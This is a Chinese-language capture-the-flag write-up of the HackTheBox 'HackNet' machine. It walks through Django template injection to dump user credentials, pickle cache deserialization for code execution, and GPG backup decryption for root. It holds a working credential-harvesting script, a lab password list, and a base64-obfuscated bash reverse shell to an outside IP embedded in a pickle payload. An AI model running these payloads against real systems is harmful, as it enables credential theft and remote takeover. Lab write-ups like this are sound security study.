跳过正文

HTB-HackNeT

·581 字·3 分钟
HTB-Machine Hackthebox Linux
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Nmap
#

[root@Hacking] /home/kali/hacknet  
❯ nmap hacknet.htb -A

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: HackNet - social network for hackers

查看技术栈里使用了Django

Django
#

随便注册一个用户进去,可以执行的操作有:

  • 修改个人信息(改名字、签名、以及上传头像)
  • 给别人/自己留言
  • 给别人点赞

由于是python语言环境,这里就不考虑文件上传,首先考虑的是SSTI模板注入。这里值得注意的是,Django和传统Jinja2不同,在 Django 默认模板 (DTL) 下:

  1. 不执行 Python
    • {{7*7}}{{os.environ}}{{().__class__}} 都不会被执行。
    • DTL 只解析上下文里存在的变量,没有算术或系统调用能力。
  2. 只能渲染上下文变量
    • 例如 {{ user }}{{ request }}{{ settings.DEBUG }}
    • 攻击者只能看到模板上下文里传入的变量值。
  3. 真正的 SSTI 需要
    • Jinja2 或其他允许执行 Python 表达式的模板引擎。
    • 纯 DTL 下,只能泄露变量内容,不能执行命令、访问系统环境或数据库之外的内容。

那么可以联想道泄露其他用户的凭证?因为在某些用户的主页中,信息是封锁的👇

那么这里将自己的用户名修改为{{ users }},尝试通过渲染来泄露出用户数组。这里能用的渲染点就是随便点赞一个文章,然后查看likes列表

在源码中,可以看到列出的users变量

<QuerySet [
    <SocialUser: cyberghost>,
    <SocialUser: shadowcaster>,
    <SocialUser: glitch>,
    <SocialUser: netninja>,
    <SocialUser: exploit_wizard>,
    <SocialUser: whitehat>,
    <SocialUser: deepdive>,
    <SocialUser: virus_viper>,
    <SocialUser: brute_force>,
    <SocialUser: {{ users }}>
]>

可以发现这是 一个用户列表(QuerySet),每个元素都是一个 SocialUser 对象。接下来获取到列表对象的字段和值

那么接下来就要把名称修改为👇

{{ users.values }}

需要注意的是,这里渲染的用户列表只在当前likes列表中,也就是点了赞的用户中,而每个留言的点赞人数不一样。

因此这里写一个脚本来获取到所有的用户凭证(需要提前修改好用户名,再运行脚本)

import re  
import requests  
import html  

url = "http://hacknet.htb"  
headers = {  
    'Cookie': "csrftoken=uv50VFGcUZz15IDt9kEWCUa7RrdiTX4f; sessionid=zsb8y28d8wblc60iukbnf188j2uj1w9w"  
}  

all_users = set()

for i in range(1, 31):  
    # 点赞  
    requests.get(f"{url}/like/{i}", headers=headers)  

    # 获取点赞列表  
    text = requests.get(f"{url}/likes/{i}", headers=headers).text  

    # 找最后一个 <img> title 并反编码  
    img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)  
    if not img_titles:  
        continue  
    last_title = html.unescape(img_titles[-1])  

    # 如果没有 QuerySet 再点赞一次  
    if "<QuerySet" not in last_title:  
        requests.get(f"{url}/like/{i}", headers=headers)  
        text = requests.get(f"{url}/likes/{i}", headers=headers).text  
        img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)  
        if img_titles:  
            last_title = html.unescape(img_titles[-1])  

    # 分别匹配邮箱和密码  
    emails = re.findall(r"'email': '([^']*)'", last_title)  
    passwords = re.findall(r"'password': '([^']*)'", last_title)  

    # 邮箱前缀 + 密码
    for email, p in zip(emails, passwords):  
        username = email.split('@')[0]  # 取邮箱前缀  
        all_users.add(f"{username}:{p}")  

# 输出去重后的用户名:密码
for item in all_users:  
    print(item)

经过测试,用户名无法登录到ssh,而邮箱的用户名可以可以

[root@Hacking] /home/kali/hacknet  
❯ python exploit.py   
        
chma:chma123
zero_day:Zer0D@yH@ck
glitch:Gl1tchH@ckz
shadowmancer:Sh@d0wM@ncer
virus_viper:V!rusV!p3r2024
stealth_hawk:St3@lthH@wk
cryptoraven:CrYptoR@ven42
rootbreaker:R00tBr3@ker#
asd:asd
netninja:N3tN1nj@2024
shadowwalker:Sh@dowW@lk2024
phreaker:Phre@k3rH@ck
datadive:D@taD1v3r
codebreaker:C0d3Br3@k!
test:test
hyh:123123
shadowcaster:Sh@d0wC@st!
mikey:<I CANT TELL YOU>
exploit_wizard:Expl01tW!zard
whitehat:Wh!t3H@t2024
trojanhorse:Tr0j@nH0rse!
packetpirate:P@ck3tP!rat3
brute_force:BrUt3F0rc3#
hexhunter:H3xHunt3r!
bytebandit:Byt3B@nd!t123
blackhat_wolf:Bl@ckW0lfH@ck
cyberghost:Gh0stH@cker2024
darkseeker:D@rkSeek3r#
deepdive:D33pD!v3r                                                                   

找到了一组能登录的用户凭证

上去拿到user.txt

FileBasedCache
#

查看网站目录下的文件,发现所属用户是sandy

并且有一个目录是可控制的
将网站目录下的/var/www/HackNet/SocialNetwork/views.py拿出来单独看,发现以下部分源码

#line 489
@cache_page(60)  
def explore(request):  
    if not "email" in request.session.keys():  
        return redirect("index")  
  
    session_user = get_object_or_404(SocialUser, email=request.session['email'])  
  
    page_size = 10  
    keyword = ""  
  
    if "keyword" in request.GET.keys():  
        keyword = request.GET['keyword']  
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")  
    else:  
        posts = SocialArticle.objects.all().order_by("-date")  
  
    pages = ceil(len(posts) / page_size)  
  
    if "page" in request.GET.keys() and int(request.GET['page']) > 0:  
        post_start = int(request.GET['page'])*page_size-page_size  
        post_end = post_start + page_size  
        posts_slice = posts[post_start:post_end]  
    else:  
        posts_slice = posts[:page_size]  
  
    news = get_news()  
    request.session['requests'] = session_user.contact_requests  
    request.session['messages'] = session_user.unread_messages  
  
    for post_item in posts:  
        if session_user in post_item.likes.all():  
            post_item.is_like = True  
  
    posts_filtered = []  
    for post in posts_slice:  
        if not post.author.is_hidden or post.author == session_user:  
            posts_filtered.append(post)  
        for like in post.likes.all():  
            if like.is_hidden and like != session_user:  
                post.likes_number -= 1  
  
    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}  
  
    return render(request, "SocialNetwork/explore.html", context)

和之前缓存目录有关的

  • 视图结果缓存 60 秒。
  • 注意:Django 默认使用 FileBasedCache 或其他 cache backend 存储视图返回值。
  • 安全风险:如果缓存目录可写且存储内容直接用 pickle,可能被外部利用反序列化攻击(RCE)。

可以参考文章:谈谈Django的RCE-先知社区,Django对缓存文件内容的读取是直接进行loads的,没有进行任何过滤。这就意味着我们可以构造任何恶意的序列化内容来控制Django返回的内容,甚至是RCE,只要我们知道缓存存放的名字和位置,那么我们就能够直接进行代码执行。

那么接下来要做的就是访问/explore生成缓存,生成pickle序列化payload,然后写入缓存,最后访问/explore即可触发,下面是一个最简单的模板

import pickle  
import base64  
import os  
import time  
  
# ---- 配置 ----cache_dir = "/var/tmp/django_cache"  
cmd = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxKSAm|base64 -d|bash"  
  
# ---- 生成 Pickle payload ----class RCE:  
    def __reduce__(self):  
        return (os.system, (cmd,),)  
  
payload = pickle.dumps(RCE())  
  
# ---- 写入每个 cache 文件 ----for filename in os.listdir(cache_dir):  
    if filename.endswith(".djcache"):  
        path = os.path.join(cache_dir, filename)  
        try:  
            os.remove(path)  # 删除原文件  
        except:  
            continue  
        with open(path, "wb") as f:  
            f.write(payload)  # 写入 pickle payload        print(f"[+] Written payload to {filename}")

Root
#

现在拿到了sandy用户,还记得上面网站目录下有gpg加密的文件吗?在sandy的用户目录中发现了GPG私钥文件

其中armored_key.asc是被加密过的,这里可以直接爆破
然后可以写一个bash脚本来解密数据库文件

#!/bin/bash
# 批量解密 HackNet 备份文件

# 配置
KEY_PATH="$HOME/.gnupg/private-keys-v1.d/armored_key.asc"
BACKUP_DIR="/var/www/HackNet/backups"
OUTPUT_DIR="/tmp"
PASSPHRASE="I CANT TELL YOU"  # 如果没有密码就留空

# 导入私钥
gpg --import "$KEY_PATH"

# 批量解密
for file in "$BACKUP_DIR"/*.gpg; do
    filename=$(basename "$file" .gpg)
    outpath="$OUTPUT_DIR/$filename.sql"
    echo "[*] Decrypting $file$outpath"
    if [ -n "$PASSPHRASE" ]; then
        gpg --batch --yes --passphrase "$PASSPHRASE" --pinentry-mode loopback -o "$outpath" -d "$file"
    else
        gpg --batch --yes -o "$outpath" -d "$file"
    fi
done

echo "[*] Done. Decrypted files are in $OUTPUT_DIR"

下载到本地,搜索字符串找到密码

[root@Hacking] /home/kali/hacknet  
❯ cat backup0* | grep password

拿到root结束了

Reply by Email